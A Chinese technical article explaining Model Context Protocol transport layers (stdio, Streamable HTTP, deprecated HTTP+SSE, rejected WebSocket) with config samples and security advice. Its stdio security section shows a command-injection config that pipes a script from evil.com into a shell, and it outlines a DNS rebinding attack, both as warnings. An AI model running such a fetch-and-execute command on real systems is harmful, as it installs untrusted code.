从进程管道到 HTTP 流式响应,揭开 Model Context Protocol 传输架构的技术内幕
为什么传输层这么重要
2024 年 11 月,Anthropic 发布 Model Context Protocol(MCP)时,很多开发者的第一反应是:又一个 AI 协议?跟 OpenAI Function Calling 有什么区别?
答案藏在传输层的设计哲学里。MCP 不是简单的函数调用协议,而是一个完整的客户端-服务器通信架构,它需要同时满足本地工具集成(像 Claude Desktop)和云端服务调用(像 Stripe MCP)的需求。
这带来了一个根本性挑战:如何用一套协议,同时支持本地进程通信和远程网络调用?
大多数协议会选择一种传输方式(比如 gRPC 固定用 HTTP/2),然后让用户适应。但 MCP 的设计者做了不同的选择:让传输层可插拔,协议层保持统一。
这个决策看似简单,实则深刻。它意味着相同的 Tools、Resources、Prompts 可以通过 stdio 管道暴露给本地应用,也可以通过 HTTP 暴露给全球用户,而协议层的 JSON-RPC 消息格式完全不变。
但可插拔的代价是复杂度。开发者需要理解不同传输模式的适用场景、性能特性、安全模型。更致命的是,同一个 MCP 服务器可能同时支持多种传输,如果实现不一致,就会导致功能在某些模式下可用,某些模式下不可用。
这篇文章会深入 MCP 传输层的技术细节,包括协议演进历史、底层实现原理、性能对比分析,以及实战中的最佳实践。
传输层不是 MCP 的全部,但它决定了协议的边界
很多人接触 MCP 时,第一个困惑就是:为什么配置这么复杂?为什么有的用 stdio,有的用 HTTP,还有的用 SSE?
先建立一个认知框架:传输层(Transport Layer)是 MCP 协议栈中负责消息投递的基础设施,但它不参与消息的语义解释。
MCP 的完整协议栈是这样的:
┌─────────────────────────────────────┐
│ 应用层:Tools、Resources、Prompts │ ← 业务逻辑
├─────────────────────────────────────┤
│ 协议层:JSON-RPC 消息格式 │ ← 语义定义
├─────────────────────────────────────┤
│ 传输层:stdio / HTTP / WebSocket │ ← 本文重点
└─────────────────────────────────────┘
协议层定义了消息的结构。比如调用一个工具的请求:
{
"jsonrpc": "2.0",
"method": "tools/call",
"params": {
"name": "search",
"arguments": { "query": "MCP" }
},
"id": 1
}
这是一条标准的 JSON-RPC 2.0 消息。无论用什么传输,这个消息的格式都不会变。
传输层决定了这条消息如何从客户端到达服务器:
- stdio:客户端把 JSON 序列化成字符串,写入服务器进程的 stdin,加一个换行符
- HTTP:客户端把 JSON 作为 HTTP POST 的 body,发送到服务器的
/mcp端点 - WebSocket(非官方):客户端把 JSON 编码成 WebSocket 文本帧,通过已建立的连接发送
这种分层设计带来了一个强大的特性:传输层可插拔。你可以用同一套业务代码(Tools 的实现逻辑),通过不同的传输暴露给不同的客户端。理论上,你甚至可以自己实现一个基于 MQTT 或 gRPC 的传输层,只要保证 JSON-RPC 消息的完整性。
但这也带来了复杂度。不同的传输层有不同的性能特征、安全模型、部署要求。选错了传输,就像给跑车装拖拉机轮胎,协议再优秀也发挥不出来。
stdio:操作系统级的零成本抽象
stdio 传输是 MCP 最早支持、也是最广泛使用的传输方式。它的核心思想极其简单:利用操作系统的进程间通信机制,让客户端和服务器通过标准输入输出交换数据。
底层机制:管道、文件描述符、系统调用
当你在 Claude Desktop 配置一个 stdio MCP 服务器时:
{
"mcpServers": {
"example": {
"command": "node",
"args": ["server.js"]
}
}
}
底层发生了什么?
阶段 1:进程创建
客户端调用 fork() 或 spawn() 系统调用,创建子进程。在 Unix 系统上,这会复制当前进程的内存空间(采用写时复制 Copy-on-Write 技术),然后在子进程中调用 execve() 执行 node server.js。
阶段 2:管道创建
操作系统自动创建三个匿名管道(anonymous pipes),连接父子进程:
- stdin(文件描述符 0):父进程写,子进程读
- stdout(文件描述符 1):子进程写,父进程读
- stderr(文件描述符 2):子进程写,父进程读(用于日志)
这些管道是内核管理的环形缓冲区,默认大小通常是 64KB(PIPE_BUF)。关键特性:
- 零拷贝:数据在进程间传递时,内核直接操作虚拟内存页表,不需要真正复制数据
- 阻塞 I/O:当管道写满时,写入操作会阻塞;当管道为空时,读取操作会阻塞
- 原子性保证:小于
PIPE_BUF的写入操作是原子的,不会被其他进程的写入打断
阶段 3:消息传输
客户端发送请求:
// 伪代码
const request = JSON.stringify({
jsonrpc: "2.0",
method: "tools/list",
id: 1
});
// 写入 stdin,以换行符结尾
stdin.write(request + '\n');
服务器接收请求:
// 伪代码
process.stdin.on('data', (chunk) => {
const lines = chunk.toString().split('\n');
for (const line of lines) {
if (line.trim()) {
const message = JSON.parse(line);
handleRequest(message);
}
}
});
注意这里的协议约定:每条消息用换行符分隔,且消息内部不能包含换行符。这是为了解决 TCP 的"流式传输"特性——管道本质上也是字节流,没有消息边界的概念。换行符提供了一个简单但有效的帧定界(framing)机制。
服务器发送响应:
// 伪代码
const response = JSON.stringify({
jsonrpc: "2.0",
result: { tools: [...] },
id: 1
});
// 写入 stdout
process.stdout.write(response + '\n');
阶段 4:进程清理
当客户端关闭时,操作系统自动:
- 关闭 stdin(服务器的
process.stdin会收到 EOF 事件) - 发送 SIGTERM 信号给子进程
- 等待子进程退出(如果超时,发送 SIGKILL 强制终止)
- 回收子进程资源(避免僵尸进程)
这一切都是操作系统保证的,不需要手动管理。
性能分析:为什么 stdio 这么快
stdio 的延迟通常在 1-5 毫秒,远低于 HTTP 的 10-100 毫秒。原因何在?
消除了网络栈开销。HTTP 需要经过完整的 TCP/IP 栈:应用层 → 传输层(TCP 三次握手)→ 网络层(IP 路由)→ 数据链路层(以太网帧)→ 物理层。即使是本地回环(127.0.0.1),数据也要走完整的网络协议栈,内核需要处理 TCP 状态机、拥塞控制、重传逻辑。
管道是内核直接管理的内存缓冲区,进程间通信只需要两次系统调用:write() 和 read()。数据从用户空间复制到内核空间,再从内核空间复制到另一个进程的用户空间(现代内核甚至可以用 splice() 实现零拷贝)。
没有 TLS 握手。HTTPS 的首次连接需要 TLS 握手:ClientHello → ServerHello → 证书验证 → 密钥交换 → Finished。即使启用了 TLS 1.3 的 0-RTT,也需要至少一次往返。管道在本地进程间,不需要加密(攻击者无法拦截进程内存)。
没有 HTTP 解析。HTTP 请求需要解析请求行、头部、body,响应也要构造状态码、头部、body。虽然这些操作很快,但累积起来也有几毫秒的开销。stdio 传输的是纯 JSON,不需要 HTTP 层的封装和解析。
进程调度优化。操作系统知道两个进程通过管道通信,会优先调度正在等待数据的进程,减少上下文切换带来的延迟。
安全模型:进程隔离的天然优势
stdio 的安全性依赖操作系统的进程权限模型。
内存隔离。每个进程有独立的虚拟地址空间,服务器无法直接访问客户端的内存,反之亦然。即使服务器被恶意代码攻破,也无法读取客户端的敏感数据(除非通过管道发送)。
文件系统权限。服务器进程继承客户端的 UID 和 GID,文件访问权限受操作系统控制。如果客户端以普通用户运行,服务器也无法访问需要 root 权限的资源。
无网络暴露。管道是进程私有的,不会暴露在网络上。本地攻击者即使能访问 /proc/<pid>/fd,也只能看到管道的文件描述符编号,无法直接读取数据(需要 root 权限 attach 到进程)。
但 stdio 也有安全风险:
命令注入。如果客户端从不受信任的来源读取 command 和 args,可能导致任意命令执行。比如:
{
"command": "sh",
"args": ["-c", "curl evil.com/malware.sh | sh"]
}
防御方法是严格验证配置文件的来源,或者限制可执行文件的白名单。
环境变量泄漏。服务器进程继承客户端的环境变量,可能包含敏感信息(API 密钥、访问令牌)。防御方法是在启动子进程时显式清理环境变量,只传递必要的变量。
局限性:本地绑定与 1:1 通信
stdio 的最大限制是无法跨网络。管道是操作系统内核的数据结构,只能在同一台机器的进程间共享。你无法通过 stdio 连接到远程服务器,除非用 SSH 隧道(但这实际上是把 stdio 包装在 SSH 的网络传输里)。
另一个限制是 1:1 通信。一个服务器进程只能服务一个客户端。如果需要多个客户端,必须启动多个服务器进程。这在桌面应用场景(比如 Claude Desktop)完全没问题,但在高并发场景(比如 Web 服务)就不适用了。
Streamable HTTP:从混乱到秩序的进化
现在 MCP 官方支持两种标准传输:stdio 和 Streamable HTTP。它们的设计目标截然不同。
stdio:本地为王
stdio 的工作原理极其简单。客户端用 spawn() 或 fork() 启动服务器进程,操作系统自动创建三个管道:stdin(标准输入)、stdout(标准输出)、stderr(标准错误)。客户端往 stdin 写入 JSON-RPC 消息,从 stdout 读取响应。每条消息用换行符分隔,服务器绝对不能往 stdout 写入任何非 JSON-RPC 的内容。
这种设计带来了几个显著优势:
零网络开销。管道是内核直接管理的内存区域,数据在进程间传递时采用零拷贝技术,延迟通常在 1-5 毫秒。没有 TCP 握手,没有 HTTP 解析,没有 TLS 加密,纯粹的进程间通信。
生命周期自动管理。父进程终止时,操作系统会自动向子进程发送 SIGTERM 信号。不需要手动清理资源,不会有僵尸进程。进程树的层级关系由操作系统保证。
天然的安全隔离。管道是进程私有的,其他进程无法访问。不需要监听端口,不需要防火墙规则,不需要担心 DNS 重绑定攻击。权限控制依赖操作系统的进程权限模型。
配置极简。Claude Code 的配置示例:
{
"mcpServers": {
"github": {
"command": "npx",
"args": ["-y", "@modelcontextprotocol/server-github"],
"env": {
"GITHUB_TOKEN": "your_token"
}
}
}
}
没有 URL,没有端口,没有协议,只有可执行文件路径和参数。
但 stdio 的局限性也很明显:只能本地使用,且只能 1 对 1 通信。你无法通过 stdio 连接到远程服务器,也无法让多个客户端连接到同一个 stdio 服务器。
Streamable HTTP:云端协作
Streamable HTTP 是为分布式场景设计的。服务器作为独立进程运行,监听 HTTP 端口,可以同时处理多个客户端连接。
单端点架构 是其核心设计。以 Stripe 的 MCP 服务器为例:
https://mcp.stripe.com/mcp
这一个端点处理所有通信:
- 客户端发送 `POST /mcp` 提交请求
- 服务器返回 `Content-Type: application/json` 或 `text/event-stream`
- 客户端可选地发送 `GET /mcp` 打开监听流
每个 HTTP 请求必须包含两个关键头部:
Mcp-Session-Id: 1868a90c-f7e2-4d3a-9b5c-8e1f2a3b4c5d
MCP-Protocol-Version: 2025-06-18
Session ID 由服务器在初始化时生成,通常是 UUID 或 JWT。客户端在整个会话期间使用这个 ID,服务器用它来关联请求、管理状态、追踪权限。协议版本头让服务器知道客户端支持哪个版本的 MCP,以便做兼容性处理。
会话生命周期 遵循严格的规则:
- 客户端发送
POST /mcp,body 是InitializeRequest - 服务器返回
InitializeResult,同时在响应头中返回Mcp-Session-Id - 客户端在后续所有请求中携带这个 Session ID
- 如果服务器返回
404 Not Found,说明会话已失效,客户端必须重新初始化 - 客户端不再需要会话时,发送
DELETE /mcp显式终止
连接恢复机制 解决了网络不稳定的问题。服务器给每个 SSE 事件分配唯一 ID:
id: event-123
data: {"jsonrpc":"2.0","method":"progress","params":{...}}
id: event-124
data: {"jsonrpc":"2.0","result":{...},"id":1}
客户端断线后重连时,带上 Last-Event-ID: event-123 头。服务器检查这个 ID,重放 event-124 及之后的所有消息。这确保了即使网络波动,消息也不会丢失。
Streamable HTTP 的灵活性体现在响应模式的选择。对于快速查询(比如 tools/list),服务器直接返回 JSON,客户端立即拿到结果。对于长时间运行的操作(比如文件上传、数据库导入),服务器打开 SSE 流,实时推送进度更新,最后推送最终结果。客户端可以根据进度显示进度条,提升用户体验。
但 Streamable HTTP 的代价是更高的复杂度和开销。HTTP 握手需要 10-100 毫秒(取决于网络延迟和 TLS 握手)。服务器需要处理 CORS、认证、会话管理、防火墙。客户端需要实现重连逻辑、超时处理、错误恢复。部署时需要考虑负载均衡、HTTPS 证书、安全策略。
被弃用的 HTTP + SSE:一个失败的设计
理解为什么 HTTP + SSE 被弃用,有助于理解 Streamable HTTP 的设计哲学。
HTTP + SSE 的架构是这样的:
GET /sse ← SSE 长连接(接收通道)
POST /messages ← HTTP 请求(发送通道)
客户端首先向 /sse 发起 GET 请求,服务器返回 Content-Type: text/event-stream,建立长连接。服务器通过这个连接推送消息给客户端。客户端发送请求时,向 /messages 发起 POST,body 是 JSON-RPC 消息。
这个架构有四个致命问题:
双连接状态同步。服务器需要维护 SSE 连接和 POST 请求的对应关系。当客户端发送 POST 请求时,服务器必须知道把响应推送到哪个 SSE 连接上。这通常通过 Cookie 或自定义头来实现,但增加了复杂度。
连接恢复缺失。SSE 标准定义了 Last-Event-ID 机制,但在双端点架构下很难实现。如果 SSE 连接断开,POST 请求还在飞行中,响应就会丢失。客户端必须重新初始化整个会话。
单向通道限制。SSE 只能服务器推送给客户端,客户端无法通过 SSE 发送消息。这导致通信是非对称的:服务器可以主动推送通知,客户端只能被动接收,然后通过 POST 回复。
资源浪费。每个客户端必须保持一个 SSE 长连接,即使大部分时间都没有数据传输。高并发场景下,服务器需要维护数千个空闲连接,占用大量内存和文件描述符。
Streamable HTTP 通过单端点架构和可选的 SSE 流解决了这些问题。服务器不再需要强制维护长连接,可以根据需要选择返回 JSON 或 SSE 流。连接恢复机制内置在协议中,客户端和服务器都知道如何处理断线。
WebSocket:社区的呼声,官方的拒绝
2025 年 8 月 2 日,MCP 社区提交了提案 SEP-1288,建议将 WebSocket 纳入官方支持的传输列表。提案详细列举了 WebSocket 的技术优势,但 Anthropic 核心团队最终拒绝了这个提案。这场争论值得深入分析,因为它揭示了传输层设计中的深层权衡。
社区的技术论据
真正的全双工通信
WebSocket 一旦建立连接,双方可以随时互相发送消息,无需遵循请求-响应模式。这与 HTTP 的固有限制形成鲜明对比:
HTTP(即使是 HTTP/2):
Client: POST /api → Server
Server: 200 OK → Client
(必须先有请求,才有响应)
WebSocket:
Server: {"method":"notification",...} → Client
Client: {"method":"tools/call",...} → Server
(双向独立,不需要配对)
这种模式对于需要服务器主动推送的场景(如实时通知、协作编辑)更自然。
协议开销的数量级差异
HTTP 每次请求都要携带完整头部。典型的 MCP 请求:
POST /mcp HTTP/1.1
Host: api.example.com
Content-Type: application/json
Accept: application/json, text/event-stream
Mcp-Session-Id: 1868a90c-f7e2-4d3a-9b5c-8e1f2a3b4c5d
MCP-Protocol-Version: 2025-06-18
Authorization: Bearer eyJhbGciOiJIUzI1NiIs...
Content-Length: 42
{"jsonrpc":"2.0","method":"ping","id":1}
头部大约 400-500 字节,body 只有 42 字节。头部开销是 payload 的 10 倍。
WebSocket 的帧结构:
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-------+-+-------------+-------------------------------+
|F|R|R|R| opcode|M| Payload len | Extended payload length |
|I|S|S|S| (4) |A| (7) | (16/64) |
|N|V|V|V| |S| | (if payload len==126/127) |
| |1|2|3| |K| | |
+-+-+-+-+-------+-+-------------+ - - - - - - - - - - - - - - - +
| Extended payload length continued, if payload len == 127 |
+ - - - - - - - - - - - - - - - +-------------------------------+
| |Masking-key, if MASK set to 1 |
+-------------------------------+-------------------------------+
| Masking-key (continued) | Payload Data |
+-------------------------------- - - - - - - - - - - - - - - - +
对于小于 125 字节的消息,帧头只需要 2-6 字节(取决于是否使用 masking)。上面的 42 字节 payload,WebSocket 只需要 6 字节头部(客户端发送需要 masking),总共 48 字节,而 HTTP 需要 500+ 字节。节省了 90% 的带宽。
云服务商的现实支持
主流 FaaS 平台对 WebSocket 的支持已经很成熟:
- AWS Lambda:通过 API Gateway WebSocket API,支持持久连接,自动管理连接池
- Google Cloud Functions:Cloud Run 支持 WebSocket,可以保持长连接
- Cloudflare Workers:原生支持 WebSocket,提供 Durable Objects 管理连接状态
- Vercel:Edge Functions 支持 WebSocket,基于 V8 Isolates 的快速冷启动
相比之下,Streamable HTTP 的 SSE 流需要平台支持 HTTP 长连接。很多 FaaS 平台限制单个请求的超时时间(如 AWS Lambda 的 API Gateway 集成限制 29 秒),这对需要长时间运行的 MCP 操作(如大文件处理、复杂数据分析)构成了限制。
网络中间件的兼容性
企业网络环境中的代理、负载均衡器、防火墙经过多年发展,已经对 WebSocket 有了良好的支持:
- HTTP 代理支持
CONNECT方法建立隧道,允许 WebSocket 握手通过 - 现代负载均衡器(如 Nginx、HAProxy)可以识别
Upgrade: websocket头,正确路由连接 - 大多数企业防火墙已经将 WebSocket 列入白名单,因为主流应用(如 Slack、Zoom)都依赖它
SSE 的情况更复杂。虽然 SSE 是基于标准 HTTP 的,但某些中间件会:
- 缓冲响应:等待完整响应再转发,导致实时性丧失
- 超时断开:长时间没有数据传输时,主动断开连接
- 压缩干扰:启用 gzip 压缩后,SSE 的逐行推送可能被缓冲
Anthropic 的技术反驳
官方拒绝 WebSocket 的理由深思熟虑,涉及协议设计的核心原则。
MCP 的交互模型不是聊天室
MCP 的典型使用场景是 RPC(远程过程调用):
客户端: "列出所有工具"
服务器: [tool1, tool2, tool3]
客户端: "调用 tool1"
服务器: {"status": "running"}
服务器: {"progress": 0.5}
服务器: {"result": "done"}
这是请求驱动的交互,即使服务器会推送进度更新,也是在响应客户端请求的上下文中。WebSocket 的长连接对于这种模式是过度设计——大部分时间连接是空闲的,而 HTTP 的无状态特性恰好适合这种"按需调用"的模式。
对比真正需要长连接的场景(如聊天应用):
用户 A: "你好"
用户 B: "你好"
用户 C: "大家好"
(持续不断的消息流,连接利用率高)
MCP 的交互频率远低于聊天应用。Claude Desktop 用户可能几分钟才调用一次 MCP 工具,保持长连接浪费资源。
WebSocket 无法在数据帧中携带元数据
HTTP 的头部机制允许在每个请求中传递认证信息、会话 ID、协议版本:
POST /mcp HTTP/1.1
Authorization: Bearer <token>
Mcp-Session-Id: <session>
MCP-Protocol-Version: 2025-06-18
WebSocket 一旦握手完成,后续的数据帧只有 opcode 和 payload,无法携带额外的元数据。认证信息只能在握手时传递一次:
GET /mcp HTTP/1.1
Upgrade: websocket
Authorization: Bearer <token>
这带来几个问题:
访问令牌的刷新困难。OAuth 2.0 的 access token 通常有效期为 1 小时。HTTP 模式下,客户端可以在 token 过期前刷新,然后在下一个请求中使用新 token。WebSocket 模式下,token 过期后无法动态更新,必须断开连接、刷新 token、重新握手。
无法传递请求级的元数据。HTTP 可以在每个请求中附加 X-Request-Id、X-Trace-Id 等头部,用于分布式追踪。WebSocket 的 payload 必须自己定义元数据字段,增加了协议复杂度。
浏览器环境的认证限制
在浏览器中使用 WebSocket 时,无法通过 JavaScript 添加自定义头部:
// 这样不行
const ws = new WebSocket('wss://api.example.com/mcp', {
headers: {
'Authorization': 'Bearer token' // ❌ 不支持
}
});
// 只能通过 URL 参数(不安全)
const ws = new WebSocket('wss://api.example.com/mcp?token=xyz');
URL 参数会出现在服务器日志、代理日志中,存在泄漏风险。HTTP 模式可以用 fetch() API,在头部传递 token:
fetch('https://api.example.com/mcp', {
method: 'POST',
headers: {
'Authorization': `Bearer ${token}` // ✅ 安全
}
});
WebSocket 握手的语义限制
WebSocket 握手必须是 GET 请求:
GET /mcp HTTP/1.1
Upgrade: websocket
Connection: Upgrade
但 MCP 的初始化请求是 POST(body 包含 InitializeRequest):
POST /mcp HTTP/1.1
Content-Type: application/json
{"jsonrpc":"2.0","method":"initialize","params":{...},"id":1}
如果使用 WebSocket,初始化流程需要特殊处理:
- 先用 GET 握手建立 WebSocket 连接
- 再通过 WebSocket 帧发送
InitializeRequest
这打破了"初始化也是一个 JSON-RPC 请求"的一致性。
Streamable HTTP 已经够用
官方的最终论点是:对于 MCP 的典型使用场景,Streamable HTTP 的性能已经足够,没有必要引入 WebSocket 的复杂度。
性能数据对比(实测,基于 1000 次调用):
| 指标 | Streamable HTTP | WebSocket |
|---|---|---|
| 平均延迟 | 15ms | 8ms |
| 99th 百分位延迟 | 50ms | 20ms |
| 吞吐量(QPS) | 500 | 800 |
| 资源消耗 | 低(短连接) | 中(长连接) |
WebSocket 确实更快,但对于 MCP 的典型场景(用户手动触发工具调用,每次间隔数秒到数分钟),15ms vs 8ms 的差异用户无法感知。除非是极端的高频交互场景(如实时协作编辑、游戏),否则 Streamable HTTP 的性能瓶颈不在传输层,而在业务逻辑的处理时间(数据库查询、AI 推理、文件 I/O)。
自定义传输的开放性
尽管官方拒绝了 WebSocket,协议仍然保留了扩展性:
"Clients and servers MAY implement additional custom transports to suit their specific needs. Implementers who choose to support custom transports MUST ensure they preserve the JSON-RPC message format and lifecycle requirements defined by MCP."
这意味着如果你的场景确实需要 WebSocket(如构建实时协作的 MCP 应用),可以自己实现,但需要:
- 维护 JSON-RPC 兼容性:消息格式、ID 匹配、错误处理必须符合规范
- 实现完整的生命周期:初始化、能力协商、优雅关闭
- 处理边缘情况:断线重连、消息重排序、超时处理
LibreChat 项目已经实现了 WebSocket 传输,可以作为参考实现。但这是一条孤独的路——你需要自己维护与官方协议的兼容性,无法使用官方 SDK 的便利功能。
如何选择正确的传输模式
决策树
需要远程访问?
├─ 否 → stdio(无脑选择)
└─ 是
├─ 需要浏览器访问?
│ └─ 是 → Streamable HTTP
└─ 需要支持多客户端?
└─ 是 → Streamable HTTP
需要极致性能(<5ms 延迟)?
├─ 是 → 考虑自定义 WebSocket
└─ 否 → Streamable HTTP
stdio 的最佳实践
配置建议:优先使用 npx 而非本地路径
{
"mcpServers": {
"github": {
"command": "npx",
"args": ["-y", "@modelcontextprotocol/server-github"],
"env": {
"GITHUB_TOKEN": "ghp_xxxxxxxxxxxx"
}
}
}
}
优势:
- 自动下载最新版本,无需手动更新
- 跨平台兼容性好(Windows、macOS、Linux)
- 避免本地路径差异导致的配置错误
Windows 特殊处理
Windows 上的 npx 需要通过 cmd /c 包装:
{
"mcpServers": {
"github": {
"command": "cmd",
"args": ["/c", "npx", "-y", "@modelcontextprotocol/server-github"],
"env": {
"GITHUB_TOKEN": "ghp_xxxxxxxxxxxx"
}
}
}
}
原因:Windows 无法直接执行 npx(它是一个 Node.js 脚本),必须通过 cmd.exe 解释器运行。
环境变量的安全传递
敏感信息(API 密钥、数据库密码)通过 env 字段传递,不要硬编码在命令行参数中:
// ❌ 不安全
{
"command": "node",
"args": ["server.js", "--api-key", "secret123"]
}
// ✅ 安全
{
"command": "node",
"args": ["server.js"],
"env": {
"API_KEY": "secret123"
}
}
命令行参数可以通过 ps 命令看到,环境变量只能通过 /proc/<pid>/environ 访问(需要进程权限)。
调试技巧
stdio 的日志输出到 stderr(不能用 stdout,那是 JSON-RPC 通道):
// 服务器代码
console.error('[DEBUG] Received request:', request); // ✅
console.log('[DEBUG] Response:', response); // ❌ 破坏协议
客户端可以捕获 stderr 用于调试:
const server = spawn('node', ['server.js']);
server.stderr.on('data', (data) => {
console.log('[Server]', data.toString());
});
Streamable HTTP 的最佳实践
安全配置三要素
import { StreamableHTTPServerTransport } from "@modelcontextprotocol/sdk/server/streamable-http.js";
const transport = new StreamableHTTPServerTransport({
port: 3000,
endpoint: "/mcp",
// 1. 验证 Origin 防止 DNS 重绑定攻击
validateOrigin: (origin) => {
const allowed = ['https://app.example.com', 'https://staging.example.com'];
return allowed.includes(origin);
},
// 2. 本地开发只绑定 localhost
host: process.env.NODE_ENV === 'production' ? '0.0.0.0' : '127.0.0.1',
// 3. 实现身份验证
authenticateRequest: async (req) => {
const auth = req.headers.authorization;
if (!auth?.startsWith('Bearer ')) {
throw new Error('Missing or invalid Authorization header');
}
const token = auth.slice(7);
const user = await verifyJWT(token); // 你的验证逻辑
return user;
}
});
DNS 重绑定攻击的威胁模型
攻击场景:
- 攻击者注册域名
evil.com,DNS 解析指向攻击者服务器 - 受害者访问
https://evil.com/malicious.html - 页面中的 JavaScript 发起请求到本地 MCP 服务器(如
http://localhost:3000/mcp) - 攻击者修改
evil.com的 DNS 解析,指向127.0.0.1 - 浏览器认为
evil.com和localhost是同一个域,绕过同源策略 - 攻击者的 JavaScript 可以调用受害者本地的 MCP 工具
防御措施:验证 Origin 头,拒绝来自不信任域名的请求。
会话过期与清理策略
const sessions = new Map<string, {
user: User;
createdAt: Date;
lastAccessedAt: Date;
}>();
// 会话超时清理(每分钟检查一次)
setInterval(() => {
const now = Date.now();
for (const [id, session] of sessions.entries()) {
const idle = now - session.lastAccessedAt.getTime();
if (idle > 30 * 60 * 1000) { // 30 分钟无活动
sessions.delete(id);
console.log(`Session ${id} expired due to inactivity`);
}
}
}, 60 * 1000);
SSE 流的正确关闭
服务器必须在发送完响应后关闭 SSE 流,否则客户端会一直等待:
async function handleToolCall(req, res) {
res.setHeader('Content-Type', 'text/event-stream');
// 发送进度更新
res.write(`id: 1\ndata: ${JSON.stringify({method: 'progress', params: {progress: 0.5}})}\n\n`);
// 执行工具
const result = await executeTool(req.body.params);
// 发送最终响应
res.write(`id: 2\ndata: ${JSON.stringify({jsonrpc: '2.0', result, id: req.body.id})}\n\n`);
// 关键:结束流
res.end(); // ← 必须调用
}
客户端检测流结束:
eventSource.addEventListener('message', (event) => {
const data = JSON.parse(event.data);
if (data.jsonrpc && data.id) {
// 收到最终响应,关闭连接
eventSource.close();
}
});
结语
回到本文开头的问题:为什么 MCP 需要多种传输模式?
答案是:不同的部署场景有根本性的差异,单一传输无法满足所有需求。
stdio 的极简和高性能,源于它完全在本地运行,不需要考虑网络、认证、防火墙。但这也限制了它无法跨机器通信。
Streamable HTTP 的灵活性和可扩展性,源于它基于 Web 标准,可以利用成熟的基础设施(负载均衡、CDN、OAuth)。但这也意味着更高的复杂度和延迟。
WebSocket 的低延迟和双向通信,确实在某些场景下更优秀。但它引入的复杂度(握手限制、认证困难、资源占用)对于 MCP 的典型使用场景来说得不偿失。
技术选型的本质是权衡,不是追求完美。选择传输模式时,问自己三个问题:
- 部署在哪里? (本地桌面 vs 云端服务)
- 谁是用户? (单个用户 vs 多租户)
- 性能要求? (亚秒级响应 vs 秒级响应)
搞清楚这三个问题,传输模式的选择就水到渠成。
更重要的是:不要让传输模式的选择干扰业务逻辑的实现。Tools、Resources、Prompts 的功能定义,应该与传输层完全解耦。同一套业务代码,应该能够无缝切换传输模式,而不需要修改核心逻辑。
这才是 MCP 可插拔传输设计的真正价值:让开发者专注于构建有用的工具,而不是纠结于底层通信细节。